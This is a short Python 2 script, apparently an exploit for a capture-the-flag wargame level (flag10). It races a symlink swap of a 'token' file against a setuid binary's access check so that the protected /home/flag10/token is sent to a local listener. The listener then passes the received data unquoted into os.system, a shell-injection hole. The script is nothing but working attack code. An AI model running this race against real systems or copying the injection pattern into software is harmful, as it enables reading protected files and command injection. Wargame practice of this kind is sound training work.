import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			

def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")


def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()



if __name__ == '__main__':
	main()